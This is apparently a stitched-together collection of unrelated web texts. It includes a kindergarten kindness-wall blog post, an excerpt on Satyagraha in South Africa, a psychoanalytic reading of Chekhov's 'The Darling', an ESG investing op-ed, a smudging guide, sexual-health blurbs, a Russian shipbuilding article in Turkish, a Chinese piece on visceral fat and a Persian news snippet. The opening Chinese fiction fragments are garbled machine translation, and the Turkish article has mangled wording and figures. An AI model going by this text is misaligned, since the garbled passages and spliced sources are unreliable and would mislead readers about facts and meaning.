现在Annja手中夺取的秘密强行Promessans掌握或死亡的尝试。作为回报,她会给他们惩罚。****沿着铁路的外国雇佣兵变得不耐烦的猎手。他们停止了尖叫尚不了解的猴子,开始唱,”比利,比利,”麦凯维中尉,一个紧张的美国可能在他三十出头的但随着后退的发际,满脸皱纹,stress-sunk眼睛的中年男人,跑试图将他们带回某种秩序。她觉得神清气爽,准备好面对任何一天。托比,为例。他是一个不错的孩子。毫无疑问他会从他的错误中学习。和荣誉。
我通常可以感觉到当增厚云意味着水分,和记得多少经常下雨回农场。我发现自己思维的农场更经常,现在,农场和伊桑。尽管我的生活快和妹妹,与可可和院子,遥远的记忆已经褪去,看来有时我醒来开始,抬起我的头,思考我刚刚听到了伊桑的关车门,他很快就会走,叫我的名字。一天,雨似乎迫在眉睫的玛雅,我在学校,在一个类的孩子在椅子上而不是坐在毯子。突然的闪电,和所有的孩子跳大笑,然后转向天空看起来像一个巨大的风暴使黑人和捣碎的雨地吼叫着。别烦安琪拉。她现在有一个困难的时期。我很乐意给你一个声明代表家庭”。””你太好了,”露西说拿出她的笔记本。凯瑟琳时刻收集她的想法,然后讲得很慢所以露西可以把这一切写下来。”
想我已经见过你,了。你是布莱恩厄斯金,不是吗?”””你在这里做什么?”””观鸟,”爱达荷州吉姆回答,触摸望远镜挂在他的脖子上的茎。”见过吗?”””游隼。”””得到谁?”布莱恩问。”肯定是他妈的从我不懂。””莫拉莱斯笑了。”梅内德斯家族的。In celebration of Digital Learning Day my Kindergarten students are collaborating with Ms. Weegar’s 3rd and 4th graders in a mission to share and connect with others in world about kindness. This is part of a whole school initiative supported and inspired by our Technology Integration Specialist, Bonnie Birdsall. The idea is for teachers and students at one school site, to connect with a class at our other school site in celebration of Digital Learning Day using technology. So the collaborating begins!
Ms. Weegar starts with the idea of focusing on kindness and we begin to develop her idea. We created a kindness wall on wallwisher. We are talking and sharing with our students about the idea of a kindness wall, tweeting it out to our students, their families and our PLN’s as well! Our students will begin to experience the value of how small the world can be!
Just by posting stickies of how we are kind, our students will be collaborating and sharing their ideas with others and the world. We look forward to reading what others will be posting and sharing how our ideas are similar.
This is a wonderful way to connect and work with others in a positive, meaningful way. Our focus is universal in that we could all, always use a little more kindness. Our students are exploring the importance of what it means to be a safe, kind and responsible digital citizen. Today we started posting stickies about how we are kind each day. Our SMART board is a great way for everyone to see what we are posting and how to post as well.
Last week we began by saying hello using Skype! This was a wonderful way for us to share acts of kindness in our school, home and community. Our students experience the value of using technology in a meaningful way.
Our students make new connections with others and share what they are experiencing. Ms. Weegar and I continue to connect using Gmail, facebook, Google circles and twitter to share our ideas. Our students also use twitter, Skype and wallwisher to collaborate about kindness. Click here to add to our kindness wall!
All it takes is an idea…….. Ms. Weegar, you had a great one!We have seen how the Government failed to reap any advantage from Rama Sundara’s arrest. On the other hand, they observed the spirit of the Indian community rising rapidly. The officers of the Asiatic Department were diligent readers of Indian Opinion. Secrecy had been deliberately ruled out of the movement. Indian Opinion was an open book to whoever wanted to gauge the strength and the weakness of the community, be he a friend, an enemy or a neutral. The workers had realized at the very outset that secrecy had realized at the very outset that secrecy had no place in a movement, where one could do no wrong, where there was no scope for duplicity or cunning, no scope for duplicity or cunning, and where strength constituted the single guarantee of victory. The very interest of the community demanded, that if the disease of weakness was to be eradicated, it must be first properly diagnosed and given due publicity. When the officers saw that this was the policy of Indian Opinion, the paper became for them a faithful mirror of the current history of the Indian community. They thus came to think the strength of the movement could not by any means be broken so long as certain leaders were at large. Some of the leading men were consequently served with a notice in Christmas week of 1907 to appear before the Magistrate. It must be admitted that this was an act of courtesy on the part of the officers concerned. They could have arrested the leaders by a warrant if they had chosen to do so. Instead of this they issued notices and this, besides being evidence of their courtesy, also betrayed their confidence that the leaders were willing and prepared to be arrested. Those who had thus been warned appeared before the Court on the date specified, Saturday December 28, 1907, to show cause why, having failed to apply for registration as required by law, they should not be ordered to leave the Transvaal within a given period.
One of these was one Mr. Quinn the leader of the Chinese residents of
Johannesburg, who numbered three to four hundred, and were either traders
or farmers. India is noted for its agriculture, but I believe that we
in India is noted for its agriculture, but I believe that we in India
are not as far advanced in agriculture as the Chinese are. The modern
progress of agriculture in America and other countries defies description,
but I consider it to be still in an old country like India and a comparison
between India and China would be therefore fairly instructive. I observed
the agricultural methods of the Chinese ion Johannesburg and also talked
with them on the subject, and this gave me the impression that the Chinese
are more intelligent as well as diligent than we are. We often allow land
to lei fallow thinking it is of no use, while the Chinese would grow good
crops upon it, thanks to their minute knowledge of varying soils.
The Black Act applied to the Chinese as well as to the Indians whom they
therefore joined in the Satyagraha struggle. Still from first to last
the activities of the two communities were not allowed to be mixed up.
Each worked through its own independent organization. This arrangement
produced the beneficent result that so long s both the communities stood
to their guns, each would be a source of strength to the other. But if
one of the two gave way that would leave the morale of the other unaffected
or at least the other would steer clear of the danger of a total collapse.
Many of the Chinese eventually fell away as their leader played them false.
He did not indeed submit to the obnoxious law, but one morning someone
came and told me that the Chinese leader had fled away without handing
over charge of the books and moneys of the Chinese Association in his
possession. It is always difficult for followers to sustain a conflict
in the absence of their leader, and the shock is all the greater when
the leader has disgraced himself. But when the arrests commenced, the
Chinese were in high spirits. Hardly any of them had taken out a permit,
and therefore their leader Mr. Quinn was warned to appear along with the
Indians. For some time at any rate Mr. Quinn put in very useful work.
I would like to introduce to the reader one out of the several leading
Indians who constituted the first batch of prisoners, Shri Thambi Naidoo.Thambi
Naidoo was a Tamilian born in Mauritius where his parents had migrated
from Madras State. He was an ordinary trader. He had practically received
no scholastic education whatever. But a wide experience had been his schoolmaster.
He spoke and wrote English very well, although his grammar was not perhaps
free from faults. In the same way he had acquired a knowledge of Tamil.
He understood and spoke Hindustani fairly well and he had some knowledge
of Telugu too, though he did not know the alphabets of these languages.
Again, he had a very good knowledge of the Creole dialect current in Mauritius
which is a sort of corrupt French, and he knew of course the language
of the Negroes. A working knowledge of so many languages was not a rare
accomplishment among the Indians of South Africa, hundreds of whom could
claim a general acquaintance with all these languages. These men become
such good linguists almost without effort. And that is because their brains
are not fatigued by education received through the medium of a foreign
tongue, their memory is sharp, and they acquire these different languages
simply by talking with people who speak them and by observation. This
does not involve any considerable strain on their brains but on the other
hand the easy mental exercise leads to a natural development of their
intellect. Such was the case with Thambi Naidoo. He had a very keen intelligence
and could grasp new subjects very quickly. His every-ready wit was astonishing.
He had never seen India. Yet his love for the homeland knew no bounds.
Patriotism ran through his very vein. His firmness was pictured on his
face. He was very strongly built and he possessed tireless energy. He
shone equally whether he had to take the chair at meetings and lead them,
or whether he had to do porter’s work. He would not be ashamed of
carrying a load on the public roads. Night and day were the same to him
when set to work. And none was more ready than he to sacrifice his all
for the sake of the community. If Thambi Naidoo had not been rash and
if he had been free from anger, this brave man could easily have assumed
the leadership of the community in the Transvaal in the absence of Kachhalia.
His irritability had not still worked for evil while the Transvaal struggle
lasted, and his invaluable qualities had shown forth like jewels. But,
later on, I heard that his anger and his rashness had proved to be his
worst enemies, and eclipsed his good qualities. However that may be, the
name of Thambi Naidoo must ever remain as one of the front rank in the
history of Satyagraha in South Africa.
The magistrate conducted each case separately, and ordered all the accused
to leave the Transvaal within forty-eight hours in some cases and seven
or fourteen days in others.
The time limit expired on January 10, 1908 and the same day we were called
upon to attend court for sentence.
None of us had to offer any defence. All were to plead guilty to the charge
of disobeying the order
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the period of most intense early dependency.
It is the intention of this paper to consider Olenka, the heroine of Chekhov’s “The Darling,” the light of Deutsch’s conception of the “as if” personality.
Early in the story, Checkhov makes explicit Olenka’s problem:
She was always enamored of someone and could not live otherwise. At first it had been her papa, who was now ill and sat in an armchair in a darkened room, breathing with difficulty. Then she devoted her affections to her aunt, who used to come from Bryansk every other year. Still earlier, when she went to school, she had been in love with her French teacher.
The book describes the four subsequent “loves” in Olenka’s life. Kukin, a teacher manager, was the first of the four. Soon after meeting the manager, Olenka was “already telling her friends that the theater was the most remarkable, the most important, the most essential thing in the world, and that it was only the theater that could give true pleasure and make you a cultivated and humane person.” Checkhov tells us that “what Kukin said about
“To what may one attribute Olenka’s constant search for new objects with whom to identify? Deutsch considers that the multiple identifications of the ‘as if’ person are acts of restitution to form an ego in order to make up for the absence of one.”
artists and the theater she would repeat. Like him she despised the public for its ignorance and indifference to art; she took a hand in the rehearsals, correcting the actors, kept an eye on the musicians, and when there was an unfavorable notice in the local paper, she wept and went to see the editor about it.”
Olenka thrived on the relationship. She “was gaining weight and beamed with happiness.” Things did not work out so well for her spouse, however. “Kukin was getting thinner and more sallow and complained of terrible losses, although business was fairly good during the winter.”
Kukin eventually dies and Olenka sobs on hearing the news, “Vanichka, my precious, my sweet!. . . To whom can your poor unhappy Olenka turn?” But three months later, returning from mass in deep mourning, she meets Vasily Andreich Pustovalov, the manager of Bagakayev’s lumber yard, who walks her back from church to her gate. “All the rest of the day she heard his sedate voice, and as soon as she closed her eyes she had a vision of his dark beard.” Three days later Pustovalov pays her a ten-minute visit, and says very little, “. . . but Olenka fell in love with him, so deeply that she stayed awake all night burning with fever. .. The match was soon arranged and then came the wedding.”
Olenka becomes quite involved in Pustovalov’s business. “It seemed to her that she had been in the lumber business for ages, that lumber was the most important, the most essential thing in the world, and she found something intimate and touching in the very sound of such words as beam, log, batten, plank, box board, lathe, scantling, slab . . .”
Deutsch notes that the “as if’ person possesses a “passive attitude to the environment with a highly plastic readiness to pick up signals from the outer world and to mold oneself and one’s behavior accordingly.” Thus, Olenka becomes as involved in the lumber business as she had been in the theater: “Whatever ideas her husband had, she adopted as her own. If he thought the room was hot or that business was slow, she thought so too. Her husband did not care for entertainments and on holidays stayed home—so did she.
“‘You are always at home or in the office,’ her friends would say. ‘You ought to go to the theater, darling, or to the circus.’
‘“Vasichka and I have no time for the theater,’ she would answer sedately. ‘We are working people, we’re not interested in such foolishness. What good are these theaters?’ She always expressed herself in this sedate and reasonable manner, in imitation of her husband.”
Unfortunately, Pustovalov dies and Olenka is widowed again. ‘“To whom shall I turn now, my darling’ she sobbed when she had buried her husband. ‘How can I live without you, wretched and unhappy as I am? Pity me, good people, left all alone in the world.”’ But find someone she does, and within six months the neighbors observe Olenka doffing her “widow’s weeds” and opening the shutters. They guess the “someone” is Smirnin, the veterinarian, who has rented a wing of the Pustovalov house. Their guess is confirmed when Olenka, meeting an acquaintance at the post office, would say: “There is no proper veterinary inspection in our town, and that’s why there is so much illness around. So often you hear of people getting ill from the milk or catching infections from horses or cows. When you come down to it, the health of domestic animals must be as well cared for as the health of human beings.”
Chekhov comments: “She now repeated the veterinary’s words and held the same opinions about everything that he did. It was plain that she could not live even for one year without an attachment.” After a time, Olenka’s emptiness and need to cling began to upset Smirnin:
When he had visitors, his regimental colleagues, she, pouring the tea or serving supper, would begin to talk of the cattle plague, of the pearl disease, of the municipal slaughterhouses. He would be terribly embarrassed and when the guests had gone, he would grasp her by the arms and hiss angrily: “I’ve asked you before not to talk about things that you don’t understand. When veterinaries speak among themselves, please don’t butt in! It’s really annoying.”
She would look at him amazed and alarmed and ask, “But Volodichka, what shall I talk about?”
The relationship came to an abrupt end when the veterinary left, left forever, with his regiment, which was moved to some remote place, it may have been Siberia. And Olenka remained alone.
With Smirnin gone, Olenka’s great emptiness once more becomes apparent: “She looked apathetically at the empty courtyard, thought of nothing, and later, when night came, she would go to bed and dream of the empty courtyard. She ate and drank as though involuntarily.” Olenka finds herself incapable of performing even the simplest of independent thought processes:
Above all, and worst of all, she no longer had any opinions whatsoever. She saw objects about her and understood what was going on, but she could not form an opinion about anything, and did not know what to talk about. And how terrible it is not to have any opinions! You see, for instance, a bottle, or the rain, or a peasant driving in a cart, but what is the bottle for, or the rain, or the peasant, what is the meaning of them, you can’t tell, and you couldn’t, even if they paid you a thousand rubles. When Kukin was about, or Pustovalov or, later, the veterinary, Olenka could explain it all and give her opinions about anything you like, but now there was the same emptiness in her head and in her heart as in her courtyard.
Once again Olenka feels the lack of sense of self, the impoverishment of ego: “there was again emptiness and once more she was possessed by a sense of futility of life . . . She needed an affection that would take possession of her whole being, her soul, her mind, that would give her ideas, a purpose in life, that would warm her aging blood.”
Smirnin returns one day, accompanied by his wife and ten year old son Sasha. Olenka invites them to move in with her. When Smirnin agrees, Olenka starts to feel more like her old self again. “The old smile had come back to her face, and she was lively and spry, as though she had waked from a long sleep.” But it is only upon meeting Sasha that Olenka starts to be able to think again, to have an opinion:
. . . in the evening, as he sat in the dining room doing his homework, she looked at him with pity and tenderness and whispered: “My darling, my pretty one, my little one! How blond you are, and so clever!
“An island,” he was reciting from the book, “is a body of land entirely surrounded by water.”
“An island is a body of land . . .” she repeated, and this was the first opinion she expressed with conviction after so many years of silence and mental vacuity.
She now had opinions of her own.
She moves Sasha into a room closer to her own, and lavishes attention on him. “Please leave me alone!” he says.
On his way to school, she cannot tear herself away from him, and follows after, noiselessly: “‘Sashenka!’ she calls after him. He turns around and she thrusts a date or a caramel into his hand. When they turn into the school lane, he feels ashamed at being followed by a tall, stout woman; he looks round and says: ‘You’d better go home, Auntie; I can go alone now.’”
Despite his rejections (or perhaps because of them) she experiences an entire transformation of self. “How she loves him! Not one of her former attachments was so deep; never had her soul surrendered itself so unreservedly, so disinterestedly, and with such joy . . .” And now she has something to talk about once again: “She talks about the teachers, the lessons, the textbooks—saying just what Sasha says about them.”
One evening, Olenka is awakened by a loud knock at the gate. She fears that a telegram from Sasha’s mother, asking that her son be sent to Kharkov, is being delivered. She takes this fantasy badly: “She is in despair. Her head, her hands, her feet grow chill and it seems to her that she is the most unhappy woman in the world.” But this feeling passes, for soon “voices are heard: it’s the veterinary returning from the club.” Olenka is relieved. “Well, thank God!” she thinks.
“Little by little the load rolls off her heart and she is again at ease.” Olenka returns to bed and thinks of Sasha who is fast asleep in the next room and sometimes shouts in his sleep: “I’ll give it to you! Scram! No fighting!”
To what may one attribute Olenka’s constant search for new objects with whom to identify? Deutsch considers that the multiple identifications of the “as if” person are acts of restitution to form an ego in order to make up for the absence of one. In the case histories she presents, no constant mothering figure is present, and therefore the formation of the ego is defective since no internalized object is present.
Olenka’s mother is not mentioned at all in “The Darling,” and we are told that the father was her first object of love. But on the two occasions that he is described, he is portrayed as a defective individual: “Her Papa . . . was now ill and sat in an armchair in a darkened room, breathing with difficulty.” Later in the tale, after Smirnin’s sudden departure, Chekhov says that “Now she [Olenka] was quite alone. Her father had died long ago, and his armchair stood in the attic, covered with dust and minus one leg.”
With a mothering figure (the father) who is perceived as defective and never properly internalized, Olenka’s plight was to remain dependent on chance male objects to enable her to feel a sense of self. With the departure of these objects, her feeling of emptiness becomes profound, and thinking itself becomes impossible. Olenka has a dream, while married to Pustolavov, the lumber yard manager. It is of
. . . whole mountains of boards and planks, of endless caravans of carts hauling lumber out of town to distant points. She would dream that a regiment of beams, 28 feet by 8 inches, standing on end, was marching in the lumberyard, that beams, logs, and slabs were crashing against each other with the hollow sound of dry wood, that they kept tumbling down and rising again, piling themselves on each other. Olenka would scream in her sleep.
The regiment of beams, standing upright, could represent the men who have been or are about to enter into or pass out of Olenka’s life. They crash against each other, displacing one another. All that remains of her relationships is so much dead wood which gets carted away in endless caravans. The dream depicts Olenka’s futile search for an object.
Helene Deutsch has described a personality type which she designated the “as if” personality. These individuals exhibit a defective capacity to relate to others. Rather, they have pseudoaffective relationships through identification with, and mimicry of others.
Olenka, the heroine of Chekhov’s “The Darling,” is presented as an individual with the “as if’ condition.
Such behavior is thought to reflect a defective ability to invest emotional interest in others, due to deprivation during the period of most intense early dependence.
Strong persisting needs for love, and a precarious sense of self, contribute to a tendency towards an imitative mode of behavior.
Source: Michael A. Sperber, “The ‘As If’ Personality and Chekov’s ‘The Darling,’” in Psychoanalytic Review, Spring 1971, pp. 15-21.
In the following essay, Lynd mentions “The Darling” as an example of Chekhov’s ability to portray unpleasant situations in sympathetic fashion.
. . .There has, I think, never been so wonderful an examination of common people in literature as we find in the short stories of Chekhov. His world is populous with the average man and the average woman. Other writers have also put ordinary people into books. They have written plays as long as Hamlet, and novels as long as Don Quixote, about ordinary people. They have piled such a heap of details on the ordinary man’s back as almost to squash him out of existence. In the result the reader as well as the ordinary man has a sense of oppression. He begins to long for the restoration of the big subject to literature. Henry James complained reasonably enough of the littleness of the subject in Madame Bovary. He regarded it, indeed, as one of the miracles of art that so great a book should have been written about so small a woman. Tom Jones, on the other hand, is a portrait of a common man of the size of which few people complain. But then Tom Jones is a comedy, and we enjoy the continual relief of laughter. It is the tragic realists for whom the common man is a theme so perilous in its hints of dulness. It is a theme, I admit at once, which they were bound to treat. It is frequently their obsession with the case of the futile and philoprogenitive average man which has driven them into tragic realism. The problem of the novelist of contemporary life to whom the millions of ordinary people are more intensely real than the few magnificent personalities is how to portray the ordinary people in such a way that they will become better company than they are in real life. Chekhov, I think, solves the problem better than any of the other novelists of ordinary people. He sees, for one thing, that no man is ordinary when once he is seen as a person stumbling towards some goal, just as no man is ordinary when his hat is blown off and he has to scuttle after it down the street. There is bound to be a crisis in his life at some time or other. Chekhov will seek out the key situation in the life of a cabman or a charwoman, and make them glow for a brief moment in the tender light of his sympathy. He does not run sympathy as a ‘stunt’ like so many popular novelists. He sympathises merely in the sense that he understands in his heart as well as in his brain. He has the most unbiased attitude, I think, of any author in the world. Mr. Edward Garnett, in his introduction to Mrs. Garnett’s new translation of Chekhov’s tales, speaks admirably of his ‘profundity of
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experience in this area, and of those only a small number provide global coverage.
While we are seeing more companies pop up, their quality and coverage remain issues for asset managers and investors.
Even one of the leading data vendors, Sustainalytics, believes sustainable investment calculations under current EU regulations “remain perplexing for ESG investors”.
However there is some good news for investors.
SDFR is a first-of-its-kind regulation, and it was introduced to make it easier for investors to compare ESG products across the market. But, like many trailblazing ambitions, it is not without challenges and will take time to fully bed down.
It was largely designed to tackle ‘greenwashing’ – the phrase given to misleading environmental claims that overstates the ESG or sustainability-related aspects of a financial product or company.
Greenwashing can be intentional or unintentional – but the net effect is that investors are misled. Greenwashing can take many forms – selective disclosure, deliberately vague statements, and unsubstantiated claims, to name a few.
In effect, what is happening now – with funds being voluntarily reclassified, and warning lights identifying those not meeting the mark – is that new regulations and increased scrutiny are weeding out funds that are inappropriately labelled ESG.
ESG funds perform better over time
It is now also broadly accepted that companies which operate with strong ESG outperform others in the stock market over the long term – and sustainability information is relevant for understanding corporate performance and investment returns.
Research from McKinsey analysing 2,000 academic studies found that 70pc of them see a positive relationship between strong ESG performance and financial returns. This concurs with findings from a recent report from ESMA, which revealed that over the 10-year period ending in 2020, funds with an ESG strategy (including equity, bond and mixed funds) outperformed their non-ESG peers.
Bloomberg Intelligence has reported that global ESG assets are on track to exceed $53 trillion by 2025 – representing more than a third of the $140.5 trillion in projected total assets under management.
That projection has now been revised upwards, as ESG assets are expected to hit $41 trillion this year. (ESG assets surpassed $35 trillion in 2020, up from $30.6 trillion in 2018, and $22.8 trillion in 2016.)
The trend is clear. People want to invest in companies doing the right thing – despite worries of global recessions, rising interest rates, wars in Ukraine, inflationary pressures, and rising energy prices.
This means that it is more critical than ever for the industry to clearly articulate the challenges and opportunities of ESG investing.
The investment managers here in Ireland are serving people at home and all around the world. Total assets in Irish pension funds invested on behalf of Irish citizens, added to savings in banks and credit unions from Irish households, accounts for €273bn of the total €4 trillion in investment funds which are domiciled in Ireland.
It is clear we have a critical role in ensuring the global investment industry communicates more effectively the core message of responsible investing, while providing ESG products that have a positive impact on society and produce returns for investors
Michael D’Arcy is CEO of the Irish Association of Investment ManagersThe Ancient Art of Smudging
Purify yourself and your home with a traditional Native American practice.
Mystics say the Native American practice of smudging, or purifying a room with the smoke of sacred herbs, can help clear negative energy from a space. And the apparent benefits are steeped in science—when burned, sage and other herbs release negative ions, which research has linked to a more positive mood.
To practice smudging at home, it’s important to be respectful and learn how to handle the herbs according to traditional protocols, says Cat Criger, aboriginal elder-in-residence at the University of Toronto. When done properly, smudging can be a way to connect with Native American culture, he notes.
“To understand the protocol means you have to learn something about aboriginal people. So in a sense the medicines are working in a kind way, saying ‘learn about me and we can respect each other and we can walk together,’ ” he says. Native American medicines must be treated with reverence, so once you’ve acquired the herbs, clear out a bookshelf or an honored place in your home that is above waist height to store them. You may want to find birch baskets to keep them in.
Before you begin, open a window or door. Place the herbs in an abalone shell, or a clay bowl, and light them with a wooden match. Then gently blow out the flame, letting the material continue to smolder.
“Take that smoke and metaphorically wash your hands in the smoke, take some over your eyes, your ears, your heart, and your brain,” Criger says. “Breathe a little bit in, and waft a little bit over your body.”
Once finished, you can leave the bowl in a safe place and let it burn, filling the room with fragrant smoke. Treat any leftover ashes with intention. A proper way to dispose of them is to take them outdoors and leave them on the earth, says Criger.
“We are not supposed to carry or keep those ashes,” he says. “It’s what’s left over from that ceremony of cleansing yourself. Some of our spiritual beliefs are that what you clean off goes somewhere and it’s contained in those ashes and it should be put out.”
If you have moved into a new place, or have had an argument in your home, you might want to give it a smudge to cleanse the air. To prepare the room, cover mirrors, close windows, open doors (including cupboards), and turn off all electronics.
If burning sage, separate the stems, leaves, and buds, then crush the leaves into a tight ball. Light it with a match, then blow it out, and waft the smoke through the room.
“You start on the left side of the door and you stay to the left all the way through the house or apartment, while praying the whole time. With the smoke you ask for the good spirits to stay and the negative spirits to go away,” says Eddy Robinson, Ojibwa cultural educator and founder of Morningstar River, which provides aboriginal culture education. “When you get to the front, you shoot the smoke out the front door and then you wait a minute or two. Then you go outside and you put the ashes of the sage on the doorstep, and that is to protect the entrance. And then after that you put on a feast for the house.”Sex workers and allies demand US policy change in lead up to the International AIDS Conference.
Thirty years of public health science clearly demonstrates that providing young people with information about the health benefits of both abstinence and contraception and condoms, does not cause young people to initiate sex earlier or have sex more often. Abstinence-only-until marriage programs leave young people unprepared. They are unethical.
The Centers for Disease Control recently established four priorities for STD prevention: Protecting the future health of adolescents and young people; protecting men who have sex with men; raising awareness about multi-drug resistant gonorrhea; and eliminating congenital syphilis.
Want to do your part to help prevent the spread of HIV this World AIDS Day? One of the easiest ways we can all do that is to use condoms correctly and consistently, avoiding common mishaps which can result in rips or breaks.
How can a young person tell a parent about a possible pregnancy, and why might the possibility of that conversation be a good indicator a talk with a parent is needed anyway?
Is one reliable method of contraception okay, or do you need two? There’s no rule for everyone, just what level and kind of protection you want and what you feel best about.
Feeling awful about having contracted a sexually transmitted infection? Here’s the nitty-gritty on the stigmatization of STIs and people with them and how to deal.
A new study concludes that teens who have sex in committed relationships are not suffering the fire-and-brimstone the religious right claim will befall young people who are sexually active. It’s the importance of the relationship that matters; not the sexual activity.
Chlamydia is still the number 1 STD in America. What are you going to do about it?
Meet the winner of this year’s Golden Booty Award!Rus gemi yapım endüstrisinin reformu, modernizasyonu ve modern teknolojik düzeye erişimi son zamanlarda durdu. Bununla birlikte, bu aksaklığın nedeni krizde değildir (devlet, endüstrinin gelişimi için gerekli fonları tahsis edebilir). Ve aslında Rus gemi yapımcılarının modern savaş gemilerini ve sivil gemileri tasarlayamadıklarını ve inşa edemediklerini iddia ediyorlar.
Sahipsiz Süper Rıhtım
Her şeyden önce sorun, doğası gereği kavramsaldır: Hükümet ve ordu, hangi filoya ihtiyaç duydukları ve hangi amaçlar için henüz karar vermediler. Hem bireysel hevesli mühendislerin hem de büyük sanayi işletmelerinin önerileri yalnızca tavsiye niteliğinde olabilir: ürün belirli olmasına rağmen, müşteri hala seçim yapmak zorundadır.
2013'in sonunda, Delovoy Peterburg, 60 değerinde bir milyar ruble değerinde “bitmiş” değerinde Kotlin adasında yeni bir süper tersane oluşturma projesine pişmanlık duyduğunu belirtti. Yayına göre, gelecekte yüklemeyi planlayan siparişler Uzak Doğu "Yıldızı" nı alacak. Her durumda, Başbakan Yardımcısı Dmitry Rogozin, Kuzey Petersburg ve Baltık Tersanesi - St. Petersburg'daki en büyük tersanelerin ziyareti sırasında gazetecilere verdiği demeçte.
Rus gemi inşasının potansiyeli hakkında konuşan Dmitry Rogozin, Kuzey Batı'daki tersanelerin karmaşık savaş gemileri ve bir buz kırıcı üretiminde uzmanlaşacağını söyledi. filoancak umut verici deniz projeleri, Birleşik Gemi İnşa Şirketi (USC) tarafından uygulanan Big Stone'daki Zvezda süper tersane projesinin son aşamada olduğu Uzak Doğu'da yoğunlaşacak.
Ancak Petersburg gemi yapımcılarının, Primorsky Bölgesi'ndeki süper tersanenin projesi şüpheli olduğu için, endüstrilerinin kaderi hakkında endişelenmeye ve Uzak Doğu'daki meslektaşlarına sevinmeye vaktim olmadı. Aralık ayındaki 2013'te, Dmitry Rogozin, Deniz Kurulunun düzenli toplantısında, Rusya Federasyonu Sanayi ve Ticaret Bakanlığı'nı, tersanenin inşası için kesin tarih bulunmaması ve sipariş portföyünün kesinleşmemesi nedeniyle eleştirdi: “USC yapısının Uzak Doğu'da önerilen düzenlemesini yansıtan neredeyse hiçbir yasal eylem henüz kabul edilmedi”. Yani, kuzeybatıda benzer bir süper geminin inşasının ertelendiği aynı argümanlara değindi.
Ağustos ayında, Rusya Devlet Başkanı Vladimir Putin’in federal hükümete (özellikle Sanayi ve Ticaret Bakanlığı ve Ulaştırma Bakanlığına) USC, Rosneft, Sovcomflot ve Gazprombank ile birlikte Uzakdoğu’da bir gemi inşa sanayi kümesi oluşturmak için teklif sunma talimatı verdiğini hatırlattı. Şimdi, Uzak Doğu medyasının neler olduğuna dair yorum yaptığı gibi, Büyük Taş'taki Süper Yıldız “Zvezda” nın yapımı “durdu”.
Aşırı üretimi modernize etme ihtiyacında olan "karmaşık savaş gemileri ve buzlanma filoları üretiminde uzmanlaşmak" görevine sahip olan mevcut tersanelerin de dikkat çekici. Her şeyden önce yatırım gereklidir. Ne de olsa, işletmeler mevcut durumlarını hem Rus hem de Hint askeri ihracatı pahasına sürdürürlerse, modern ekipman ve teknolojilerin satın alınması için tamamen farklı araçlara ihtiyaç duyulur.
USC'nin parayı, üretimin Kotlin'e devredilmesi ile eşzamanlı olarak yatıracağı varsayıldı. Ve üzerinde tarihsel Turku ve Helsinki'de uygulanan Finlandiya reçetesine göre tersaneler, yer değiştirme için kısmen ödeme de dahil olmak üzere konut kompleksleri ve ticari gayrimenkuller inşa etmeyi planlıyordu. Şimdi bu proje büyük olasılıkla asla gerçekleştirilmeyecek.
PERUK ve GLONASS
Gerçekten de, mesleği değiştirme meselesiyse - ki profesyonel topluluk, ne yazık ki, sadece tahmin edebilir - o zaman dedikleri gibi, sorunun yarısı budur. Mühendislerimiz buna hazır, milli güvenliği sağlama problemlerini çözmek için özel ekranoplans oluşturma ve kullanma programını hatırlamak yeterli.
Son zamanlarda, “Sivil deniz ekipmanlarının geliştirilmesi” federal hedef programı kapsamında oluşturulan örneklere dayanarak Ekranoplanların Geliştiricileri, Üreticileri ve Tüketicileri Derneği Başkanı Oleg Volik tarafından aktif olarak tanıtıldı. Ancak, her durumda, bu durumda, coşkulu mühendislerin önerileri ile ilgileniyoruz. Teklifin, ağır nükleer kruvazörlerin yerini geleneksel ve taktik ve hatta stratejik silahlanma yerleştirebilec
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、微量元素以及维生素等，还能增加饱腹感。
2、控制热量摄入
步入中老年，人体所需热量减少，控制热量摄入非常必要。学会阅读食品标签，检查菜单中每一菜品的热量计数，以达到科学摄入、健康摄入的目的。
3、饥饿时不要着急就餐
饥饿会破坏减肥意图，出现饥饿感时，优先吃些健康食物铺垫。如食用新鲜水果或坚果等食物增加饱腹感，就能降低吃高热量食物的欲望。
4、适当运动
进行负重运动、抗阻力训练有助保持肌肉含量，燃烧机体热量，减少受伤风险。
内脏脂肪超标者每天应进行30~60分钟的中等强度有氧运动，如跑步、游泳、骑车等，而球类运动在消耗能量的同时，还能促使肾上腺素分泌，加速脂肪分解。
中年发福意味着内脏脂肪超标，会给身体带来以下威胁。
1、脂肪肝
如果脂肪细胞沉积在肝脏，加之饮食上高油高脂，会形成脂肪肝，进而诱发肝硬化，甚至肝癌。
2、心脏病
内脏脂肪若沉积到心脏，会使其跳动无力，难以有效带动血液循环，很多因高血压引起的心脏衰竭患者，心脏往往就被大块脂肪包裹着。
3、糖尿病
内脏脂肪过多沉积在胰腺，可造成胰岛细胞脂化，损害胰腺功能，引发糖尿病。
4、肾衰竭
内脏脂肪沉积到肾脏，会影响其净化血液的能力，肾脏需要更卖力地过滤多余的糖分，最终导致肾衰竭。
5、呼吸疾病
内脏脂肪沉积到肺部会压迫肺，导致肥胖者呼吸急促，造成血流中输氧量不足，进而引发全身乏力、免疫力受损。
6、焦虑抑郁
内脏脂肪不仅会造成生理病变，还会影响情绪，增加压力激素皮质醇分泌，造成焦虑。
参考资料
[1]生命时报：中年发福和代谢慢无关！真正的变胖原因是这个
[2]新华网：为什么人到中年就发福！
本文仅供学术分享之用
侵删：email@example.comExplore Art and Art Appreciation Activities.
Explore Botany (Flowers, Leaves, and Plants) and Botany Cabinet Activities.
Learn more about the continents and various land and water forms.
Explore the shapes of the Geometry Cabinet and other geometry-inspired activities.
Explore spoken language, writing, and reading activities.
Explore Montessori-inspired math activities.
Learn about movement and control of movement.
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Passage of Time
Learn how to share the passage of time with children.
Explore daily activities that help a child develop independence.
Explore scientific classification activities.
Explore zoology-related activities.رئیس مجلس شورای اسلامی با بیان اینکه باید فضای تنفسی برای صنعتگران ایجاد شود، تاکید کرد: رفتار بانکها با صنعتگران باید رفاقتآمیز باشد.
به گزارش ایسنا، علی لاریجانی شب گذشته در همایش روز ملی صنعت و معدن استان قم گفت: امیدوارم با همت و کمکهای تمامی بخشها، شرایط اقتصادی کشور در آینده بهتر از وضعیت فعلی شود.
رئیس مجلس شورای اسلامی با اشاره به اظهارات تولیدکنندگان درخصوص مشکلاتشان گفت: نکات خوبی از سوی فعالان اقتصادی بیان شد که باید مشکلات بخش تولید دستته بندی شود و مرحله به مرحله مورد رسیدگی و در این رابطه راه حل ارائه شود.
